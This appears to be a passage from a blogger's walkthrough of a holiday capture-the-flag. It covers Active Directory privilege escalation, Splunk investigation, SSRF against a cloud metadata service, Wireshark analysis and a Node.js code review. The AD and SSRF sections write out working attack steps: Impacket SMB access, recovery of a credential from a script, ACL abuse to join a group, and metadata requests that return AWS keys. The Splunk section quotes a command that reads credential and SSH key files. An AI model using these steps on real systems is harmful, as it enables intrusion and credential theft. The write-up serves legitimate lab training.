ls /usr/local/bin/ Get-GPPPassword.py atexec.py findDelegation.py karmaSMB.py mqtt_check.py ping.py rdp_check.py services.py split.py GetADUsers.py dcomexec.py flask keylistattack2.py mssqlclient.py ping6.py reg.py smbclient.py testTGT.py GetNPUsers.py dpapi.py futurize kintercept.py mssqlinstance.py pip registry-read.py smbexec.py testTGT2.py GetUserSPNs.py esentutl.py getArch.py ldapdomaindump netview.py pip3 rpcdump.py smbpasswd.py ticketConverter.py PoC.py exchanger.py getPac.py ldd2bloodhound nmapAnswerMachine.py pip3.8 rpcmap.py smbrelayx.py ticketer.py PoC2.py f2py getST.py ldd2pretty ntfs-read.py psexec.py sambaPipe.py smbserver.py wmiexec.py __pycache__ f2py3 getTGT.py lookupsid.py ntlmrelayx.py raiseChild.py samrdump.py sniff.py wmipersist.py addcomputer.py f2py3.8 goldenPac.py mimikatz.py pasteurize rbcd.py secretsdump.py sniffer.py wmiquery.py
Now that I have the elfu_svc account, it makes sense to see if I have more access to the Samba client:
smbclient.py 'elfu/elfu_svc:Snow2021!@172.17.0.3'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# shares
netlogon
sysvol
elfu_svc_shr
research_dep
IPC$
Being able to connect and see the shares is a good start. Given the objective is to get a "research" document, the research_dep share is probably interesting:
# use research_dep
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
No luck, but luckily it does have access to elfu_svc_shr, which contains a heap of PowerShell files. Far too many to look through manually, and you can't mass-search in smbclient, so we need to copy them all locally:
# use elfu_svc_shr
# ls
# mget *
# exit
Searching for password could be useful:
bvlkqhmacc@grades:~$ cat * | grep -e "password"
Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
Type a user name, such as User01 or Domain01\User01, or enter a PSCredential object generated by the Get-Credential cmdlet. If you type a user name, you're prompted to enter the passwor.
$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AadAdminCredential.Password))
if ($password.Length -gt 100) {
$account = Connect-AzureAD -AadAccessToken $password -AccountId $AadAdminCredential.UserName
WriteInfoHighlighted "Please provide password that will be injected as administrator password into VHD"
The password for the certificate defined by PrivateCertPath so that the decryption process
specified password to the specified certiticate for decryption to occur.
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "", Justification="Caller would be dealing in a plain text password in this scenario.")]
The Base64 encrypted password for UserName.
Will ensure that the current computer has a local user named "myUser" with a password that
Write-Verbose "Decrypting password."
$password = Decrypt-Asymmetric -EncryptedBase64String $Secret -CertThumbprint $CertThumbprint -CertStore $CertStore -ErrorAction Stop
$user.setPassword($password)
The Base64 encrypted password for UserName.
Will ensure that the current computer has a local user named "myUser" with a password that
$ProcessArguments += ", ntauthentication=0, username=""$($sqlCredential.UserName)"",password=""$([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sqlCredential.Password)))"""
Gets a report of all the applications and service principals in this tenant that have either apassword or client secret
foreach($cred in $item.passwordCredentials)
throw "$registry registry requires authorization. Please specify username and password for the registry in registryCredential."
throw "$registry registry requires authorization. Please specify username and password for the registry in registryCredential."
Specifies password for your lab. This password is used for domain admin, vmm account, sqlservice account and additional DomainAdmin... Define before running 2_CreateParentImages
$credential = get-credential -Message "Using $auth Authentication. Please enter username/password for the Containter."
$passwordKeyFile = "$myfolder\aes.key"
$passwordKey = New-Object Byte[] 16
[Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($passwordKey)
Set-Content -Path $passwordKeyFile -Value $passwordKey
$encPassword = ConvertFrom-SecureString -SecureString $credential.Password -Key $passworKey
"--env passwordKeyFile=""$containerPasswordKeyFile""",
$encDatabasePassword = ConvertFrom-SecureString -SecureString $databaseCredential.Password -Key $passwordKey
Remove-Item -Path $passwordKeyFile -Force -ErrorAction Ignore
New-BcContainerWindowsUser -containerName test -tenantId mytenant -username freddyk -password password
$encOffice365Password = ConvertFrom-SecureString -SecureString $secureOffice365Password -Key $passwordKey
These are the credentials used for the container. If not provided, the Run-AlValidation function will generate a random password and use that.
These are the credentials used for the container. If not provided, the Run-AlValidation function will generate a random password and use that.
$password = GetRandomPassword
Write-Host "admin/$password"
$credential= (New-Object pscredential 'admin', (ConvertTo-SecureString -String $password -AsPlainText -Force))
less
since then I can only look at one at a time and won't get overwhelmed if there are a heap of matches: cat * | less
, type /elfu
enter, which finds:
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate
Originally I tried copying the key directly into Chris Davis' script/
$password = ConvertTo-SecureString "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQA
wAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAx
AGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlA
DYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $password)
Enter-PSSession -ComputerName 172.17.0.5 -Credential $creds -Authentication Negotiate
And then using the same key
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQA
wAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAx
AGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlA
DYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$password = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
and even seeing if the password needed to be decoded
ConvertFrom-SecureString $password
41003100640036003500350066003700660035006400390038006200310030002100
Invoke-Command
, substituting this directly for Enter-PSSession
, and removing the -ScriptBlock
argument, finally got me a shell on the DC!
Domain Admin?
On the domain controller, I could query LDAP
using Chris' script
$ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
or the Microsoft script
$ADObject = [ADSI]"LDAP://DC=elfu,DC=local"
$aclObject = $ADObject.psbase.ObjectSecurity
$aclList = $aclObject.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
$output=@()
foreach($acl in $aclList)
{
$objSID = New-Object System.Security.Principal.SecurityIdentifier($acl.IdentityReference)
$info = @{
'ActiveDirectoryRights' = $acl.ActiveDirectoryRights;
'InheritanceType' = $acl.InheritanceType;
'ObjectType' = $acl.ObjectType;
'InheritedObjectType' = $acl.InheritedObjectType;
'ObjectFlags' = $acl.ObjectFlags;
'AccessControlType' = $acl.AccessControlType;
'IdentityReference' = $acl.IdentityReference;
'NTAccount' = $objSID.Translate( [System.Security.Principal.NTAccount] );
'IsInherited' = $acl.IsInherited;
'InheritanceFlags' = $acl.InheritanceFlags;
'PropagationFlags' = $acl.PropagationFlags;
}
$obj = New-Object -TypeName PSObject -Property $info
$output+=$obj}
$output
I once again took a while to figure out what to do next, scouring the DC for anything of use both on the Dirctory (which told me that there was a elfu_admin account but nothing I could read about them), and in the environment variables. I figured out that the remote_elf account was
a member of Remote Management Domain Users and Remote Domain Users
(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
CN=Remote Management Domain Users,CN=Users,DC=elfu,DC=local
CN=Remote Management Users,CN=Builtin,DC=elfu,DC=local
I ran an nmap scan of the DC, and used IP routelist to see that 10.128.1-3.* could be interesting and tried scanning these. It took ages, and only 10.128.3.30 seemed interesting.
$ ip route list
$ nmap -sV -Pn 10.128.1.53
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-01 23:31 UTC
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 23:31 (0:00:02 remaining)
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 23:33 (0:00:08 remaining)
Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53)
Host is up (0.00050s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-01 23:31:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/1%Time=61D0E45E%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.40 seconds
Nmap scan report for hhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4)
Host is up (0.00024s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap scan report for 10.128.3.30
Host is up (0.000091s latency).
Not shown: 966 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
1024/tcp open kdm
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
1031/tcp open iad2
1032/tcp open iad3
1033/tcp open netinfo
1034/tcp open zincite-a
1035/tcp open multidropper
1036/tcp open nsstp
1037/tcp open ams
1038/tcp open mtqp
1039/tcp open sbl
1040/tcp open netsaint
1041/tcp open danf-ak2
1042/tcp open afrog
1043/tcp open boinc
1044/tcp open dcutility
2222/tcp open EtherNetIP-1
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Finally, I asked for a hint and was asked what groups exist. You can find that by running Get-ADGroup. The Write-DACL permission is only important if you want to change the permissions of an account or group to give them explicitly access to something they don't have. Without it, you can change the permissions of an individual by adding them to a group (if you have permission to do so).
One eye-catching group on the DC is Research Department, so let's add our original user to that:
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\bvlkqhmacc")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "bvlkqhmacc"
$password = "Viffilblw#"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Now we can access the samba file
smbclient.py 'elfu/bvlkqhmacc:Viffilblw#@172.17.0.3'
use research_dep
ls
get SantaSecretToAWonderfulHolidaySeason.pdf
and we have the file! We can't just cat
a pdf though; we have to download it to our own machines, which means changing our startup shell from the grading program to /bin/bash:
chsh
scp -P 2222 bvlkqhmacc@grades.elfu.org:/home/bvlkqhmacc/SantaSecretToAWonderfulHolidaySeason.pdf SantaSecretToAWonderfulHolidaySeason.pdf
So the answer is Kindness
Relevance
Kerberos is the most widely deployed system for authentication and authorization. Attackers will often get access to a low-privilege, and escalate privileges from there. According to Sophos, Mimikatz and PSExec were used together in 31% of attacks. So this is probably a somewhat realistic challenge.Objective 9: Splunk!
Angel Candysalt seems to be feeling a bit unnerved by the con next door and wants us to brush up on our SIEM skills just in case. There are a couple of tasks to complete over here
Task 1: Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.
We can run index=*
to find all the indexes - only main exists, so we can't filter by index. Looking at the "Selected Fields" on the left, we can see "source"; since the task asks about Sysmon, we must want source="Journald:Microsoft-Windows-Sysmon/Operational"
, and to look at the CommandLine
field
So now that we know that, we can translate the details into a Splunk search - we want the source to be sysmon, the command line to contain git and to find the most common by CommandLine source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine=*git* | top CommandLine
This shows us the answer is git status, with a count of 5.
Task 2: Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!
To configure the remote origin, you have to run git remote add origin
followed by the origin. Splunk will by default show the latest command at the top and we'd assume the correct origin is the last set, so we can search source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine="git remote add origin *"
and look at the top. This might not be for the 'partnerapi' repo; we have to check the process_current_directory
field to check, and filter it if not. In this case, there is only one matching directory, so the answer is git@github.com:elfnp3/partnerapi.git. Digging a little further; this doesn't seem to be a public git repo.
Task 3: Eddie was running Docker on his workstation. Gather the full command line that Eddie used to bring up a the partnerapi project on his workstation.
Docker can be run from anywhere, so we can't necessarily search in the directory. Let's just say the event has to include partnerapi somewhere, without specifying exactly where: source="Journald:Microsoft-Windows-Sysmon/Operational" CommandLine="*docker*" partnerapi
. This search finds three matching CommandLine events; one can be ignored because it's git adding Dockerfile and docker-compose.yml, one is python3 docker-compose up
which seems unusual and possibly an error, the final is docker compose up
. That's a common command for starting a project on your workstation, and uses the docker-compose.yml file that was added in the git command, so we can be pretty confident that our answer is docker compose up
Task 4: Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.
We can use index=* | stats count by source
to get potential sources. That shows us it's likely to be githubwebhook
. So now we can use source=githubwebhook
which shows alert.rule.security_severity_level
is likely to be a useful feature. Putting this all together gives us source=githubwebhook "alert.rule.security_severity_level"=high
. The results are collapsed in Splunk, so we then have to click on the "+" next to repository in the first result to see that the "clone_url" is "https://github.com/elfnp3/dvws-node.git". Visiting that link shows it's forked from our answer https://github.com/snoopysecurity/dvws-node. If we want to dig further, we can see that only one commit has been added to the fork, which is simply adding CodeQL. The owners have no other public repositories:
And the user who made the commit hasn't made any other commits, but does have a Jack-Frost-esque cover photo...
Task 5: Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.
To add a JavaScript library from NPM, you'd run "npm install" with the name in the commandline. So to find this, we can search for: CommandLine="*npm install*" | table CommandLine
, which shows Eddie made a couple of different attempts to npm install holiday-utils-js. Currently there are no matching packages.
Task 6: Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.
We can add process_name
to the search to see that git and nc have been used. nc is often used for reverse shells for hacking whereas git can only be used for hopefully more challenging supply chain attacks / leaking data / etc. We can be pretty confident that the answer is /usr/bin/nc.openbsd
Task 7: Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.
We should start with the process: process_name="/usr/bin/nc.openbsd"
which shows that the parent process id is 6788. We should therefore search for ParentProcessId=6788 OR process_id=6788
since we care about children of the process that ran nc or any other processes it ran after spawning nc.We can then look at the CommandLine field values to see that the command cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts
. None of the other commands accessed files, so our answer is 6
Task 8: Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.
The ParentCommandLine from above was /bin/bash; we should see what ran that. Looking again at process_id=6788
, we can see the ParentCommandLine
field is /bin/bash preinstall.sh
After typing that in, we get our thanks from Santa and have completed the objective:
Relevance
Splunk is incredibly popular for indexing logs. It's used at my work, and a number of my friends' workplaces, so it's likely you'll come across it sometime during any career in info sec.Objective 10: Now Hiring!
For this challenge, we're asked to find the secret access key for Jack's job applications server
Looking around, the site seems pretty minimal which means there shouldn't be too many opportunities for vulnerabilities. Most likely, we'll find something in the apply page since this takes a number of inputs.
Throwing a number of test payloads at it didn't reveal any issues though; the server consistently responded with a plain "Submission Accepted", so perhaps there's some blind SSRF going on?
Using a canary token showed that the site wasn't just blindly reaching out to any site, and it couldn't have been opening whatever file I gave it as a resume since only the name was ever sent. The placeholder value pointed to a page that didn't exist, and I couldn't find any valid reports to provide nor a way to upload my own. (But I did enjoy the police light effect suggested. So it appears that there might be SSRF but if so it's blind, on a page that I can't control. That's not helpful.
Stuck, I went looking at other pages. The opportunities page is interesting because it has embedded images, but these don't display in a browser. Looking at them in Burp shows they're returning text, not image data!
I'm not sure if this is intentional, or due to other players
Dumping their details had the answer in image 5. I believe it shouldn't have, and at the time, I didn't actually realise, since clearly the challenge should involve more work. I noticed that image 3 contained ec2-192-0-2-54.compute-1.amazonaws.com, so tried that in the URL field of the application, with no luck.
Dumping image 6 found me {"name":"Gitsync","status":"OK"}
, so I went hunting for a git project, but only found what looked like another contestant's writeup.
A bit lost on ideas, I came across the hint that I should use what I learnt in the IMDS terminal challenge. So I added the IP from there (http://169.254.169.254) into the application form, and finally got a distinct response.
The image doesn't display since it just contains the word "latest" - a familiar word from the terminal challenge. Noting that the image is named after whatever name you entered (ie, choose a unique one to not impact others!), the answer should now be pretty simple: for the URL, use http://169.254.169.254/latest/meta-data/iam/security-credentials. Looking at the content of the image, we can see the role is "jf-deploy-role", so one more application with http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role gets us the answer:
{
"Code": "Success",
"LastUpdated": "2021-05-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-05-02T18:50:40Z"
}
Relevance
This has the same relevance as the IMDS terminal challenge, but shown in a more realistic scenario. It's also useful to learn about SSRF as that has been used to help get RCE on Github enterprise and to get insights into Google's internal network.Objective 11: Customer Complaint Analysis
The trolls are annoyed because a guest has infiltrated their network and complained about the customer service. The network is only intended to be used for trolls to complain about the guests. We're given a packet capture of the network.
After opening it in Wireshark, it's pretty clear how complaints are made: an NGINX server is running on frost-tower.local that contains a form for complaints. On submitting, this creates a POST request to /feedback/guest_complaint.php
To find the relevant POST, I used the filter http.request.method == "POST"
. This only returns a few entries, and they're all pretty hilarious, so a manual search from here seemed worthwhile. Alternatively, we're told that Jack Frost requires his trolls be RFC3514-compliant, which means I could've used the filter ip.flags.rb != 1
. Right clicking and then following the HTTP stream reveals the following customer complaint:
The customer was in room 1024, so I initially tried the following filter: urlencoded-form.value == "Room 1024"
. This doesn't work because the trolls are a bit sloppy and don't fill out the form with just the room. A fuzzy match works better: urlencoded-form.value matches ".*1024.*"
Wireshark settings if this doesn't work
. If the filter doesn't find anything, you probably have URL Encoded Form Data disabled. Go to Analyze > Enabled Protocols, search for url in the search bar and ensure it is ticked.Double-clicking on the four POSTs found reveals complaints from Yaqh, Flud, Hagg and the guest. The objective requires the trolls be named alphabetically, so the answer is Flud Hagg Yaqh
The complaints and punishments are pretty funny, so I collected them
This uses the filterhttp.request.uri contains "/feedback/guest_complaint.php" or http.request_in
.
Annoying woman in room 1239Woman call desk and complain that room is cold. I go to room , knock on door , and tell her nice that I eat beans at lunch and can warm room up. She slam door in Gavk face. So mean.Euuk do an innocent "crop dust" in elevator as it reach ground floor. No biggie - everyone do this sometimes. Couple get in. Begin to retch. Look at me with mean-type nastiness. I have bad feels.Guest info | Complaint | Punishment |
---|---|---|
Funny looking man in room 1145 | I carry suitcase to room. Throw bag at bed and miss a little. Man is angry. He say suitcase is scuff. I say his face is scuff. He is more angry and I get no tip | The key card for his room will be randomly rejected, requiring him to repeatedly vist the front desk for a replacement. |
We have activated the drip-o-matic function of her bathroom sink. It will drip loudly all night long. | ||
Boring humans in room 1128 | I bring room service order. Use key card to go in. Woman getting undress. She scream and throw shoe at me. Shoe is tasty , but it not make up for her hurt my ears with scream. | We have locked their television to only show reruns of Dr. Phil saying things like: "I don't care how flat you make a pancake, it still has two sides." |
Ugly , mean couple in room 1032 | We will add several random mini-bar charges to their bill. | |
Bald man in room 1212 | Crag get in elevator. Man get in too. Crag push ALL buttons. Crag giggle because is funny joke. Man is no thinking funny. He has bad humor. He call Crag "unthinking brute." Crag is not brute. | Three words: Explosive. Toilet. Malfunction. |
Stupid man in room 1215 | Bring drink to man at slot machine. Spill it on him a little. Urgh go to lick it off of him and he is angry. Say his is "shock" at Urgh behavior and lick is a bad idea. He is silly and mean. | Housekeeping will be instructed to "accidentally" leave a tuna sandwich inside his room's heater. |
Snooty lady in room 1024 | Lady call desk and ask for more towel. Yaqh take to room. Yaqh ask if she want more towel because she is like to steal. She say Yaqh is insult. Yaqh is not insult. Yaqh is Yaqh. | We will replace her bed sheets with ones that are suspiciously stained. |
Very cranky lady in room 1024 | Lady call front desk. Complain "employee" is rude. Say she is insult and want to speak to manager. Send Flud to room. Lady say troll call her towels thief. I say stop steal towels if is bother her. | We decree: SUPER SLOW WIFI. |
Incredibly angry lady in room 1024 | Lady call front desk. I am walk by so I pick up phone. She is ANGRY and shout at me. Say she has never been so insult. I say she probably has but just didn't hear it. | We have scheduled an "accidental" 4:00am wake-up call. |
troll_id=I don't know. There were several of them.&guest_info=Room 1024&description=I have never , in my life , been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost! | ### ERROR ### | |
Ugly little man in room 1121 | He call desk and say his shoes need shine. He leave outside door. I go and get. I spit shine. One spot on shoes is bad so I lick a little. Quite tasty. I accidental eat shoe. I take other shoe back. I am proud I no eat. He is mean at me. | His television has been locked on and tuned to show re-runs of The Bachelorette, 24 hours a day. |
Nasty bad woman in room 1125 | Bloz have tacos for lunch. Later , Bloz have very bad tummy and need to use potty immediate. Use key card on room on 11 floor. Bloz in bathroom doing business. Lady come in and scream. Bloz business quick done. She is rude. | Sometimes, people get stuck in the elevator. Just sayin'... |
Very crabby woman in room 1125 | Lady call desk and say toilet plug. Wuuk take plunger and go to room. Wuuk make innocent comment that lady poop like troll and say Wuuk is "outrageous." Does that mean handsome? | Housekeeping visit scheduled for 6:00am. |
Rude couple in room 1117 | Kraq make teensy comment about man having bad toupee. Turn out it is not toupee. Kraq stand by comment - man have hair look like bad toupee. Man is angry and call Kraq many bad word. Kraq is just a pawn in great game of life. | Water pressure? What water pressure? |
Family in room 1226 | Lady is sit in lobby holding wonderfully ugly doll. Ikky like ugly doll and ask where she get. Ikky use to decorate for Halloween. She get angry because is her baby. She say "I never!" Ikky say she must have at least once. | I'm sorry, but our valet cannot currently find your vehicle. We'll call you when and if it is located. |
Grumpy man in room 1119 | Man call front desk to complain about room be stuffy. Stuv say he is happy to get man and throw outside. Lot's of fresh air. And polar bears. | That's not a mint on your pillow... |
Note: the response are chunked, so this requires looking at Wireshark's uncompressed entity body. Also noteworthy is that the trolls are using "Cran Pi... Frosty Fox" user-agents.
In case Frost needs any more suggestions for punishments, bed bugs should be used for top infractions, surprise spider falling from the roof for intermediate ones (especially if you can get ones that move fast), and for minor infractions, air conditioning units occasionally leak and can be cleverly placed above the bed for maximal confusion at 2am (speaking from experience).
Relevance
Knowing how to use Wireshark to view packet captures is incredibly helpful for diagnosing network issues, or when trying to understand an unknown protocol. We frequently use it at my work when browsers are just showing "Connection resets" to determine what the true issue is.Objective 12: Frost Tower Website Checkup
Ingreta Tude is concerned that Frost Tower's website isn't secure. She's given us access to the staging website and source code so we can take a look.
The first thing that stands out are all the SQL queries that are just concatenated. Eg: tempCont.query("SELECT * FROM emails WHERE email="+tempCont.escape(email)
. "tempCont" comes from modconnection.js (
var createcon = require('./custom_modules/modconnection');
var tempCont = new createcon();
, which refers to mysql. According to their docs, using escape
is safe, but it still makes me a bit suspicious.
Looking at the rest of the code, I can see the the following URLs are accessible without being logged in:
- /testsite (get and post)
- /contact (get)
- /postcontact (post)
- /login (get and post)
- /redirect (get)
- /logout (get)
- /forgotpass/* (get or post)
- GET /detail/:id checks for session.uniqueID
- GET or POST /edit/:id checks for session.uniqueID
- POST /delete/:id checks for session.uniqueID and session.userstatus
- GET or POST /search checks for session.uniqueID
- POST /export checks for session.uniqueID
- GET /dashboard checks for session.uniqueID
- GET or POST /adduser checks for session.uniqueID and session.userstatus
- GET /userlist checks for session.uniqueID and session.userstatus
- GET or POST /useredit checks for session.uniqueID and session.userstatus
- POST /userdelete checks for session.uniqueID and session.userstatus
I scoured all of the publicly accessible code, including searching for security advisories for mysql, noted potential issues and declared vulnerabilities with no luck, so I started to focus on getting access to the authenticated endpoints.
I suspect brute-forcing the login page might work; people are typically less careful about staging sites when choosing passwords. Since I was given the code, the preference is to try to find a vulnerability in it. So where is session.uniqueID set?
It's set in the login page after checking the username and password is correct, like you'd expect, but also in a bunch of unexpected places, most notably /postcontact which doesn't require authentication:
app.post('/postcontact', function(req, res, next){
...
tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){
if (error) {
console.log(error);
return res.sendStatus(500);
}
var rowlength = rows.length;
if (rowlength >= "1"){
session = req.session;
session.uniqueID = email;
req.flash('info', 'Email Already Exists');
res.redirect("/contact");
We can test this by entering the same email address into the contact form twice and then visiting search, which gives us the search page. So now there are more methods to look at!
Exporting code can be a little bit dodgy, but it's not doing anything too complex, and I couldn't find vulnerabilities in the library.
The SQL code really feels suspicious to me, so I re-focused my attention there and eventually noticed one piece of code doing something a little different:
app.get('/detail/:id', function(req, res, next) {
session = req.session;
var reqparam = req.params['id'];
var query = "SELECT * FROM uniquecontact WHERE id=";
if (session.uniqueID){
try {
if (reqparam.indexOf(',') > 0){
var ids = reqparam.split(',');
reqparam = "0";
for (var i=0; i<ids.length; i++){
query += tempCont.escape(m.raw(ids[i]));
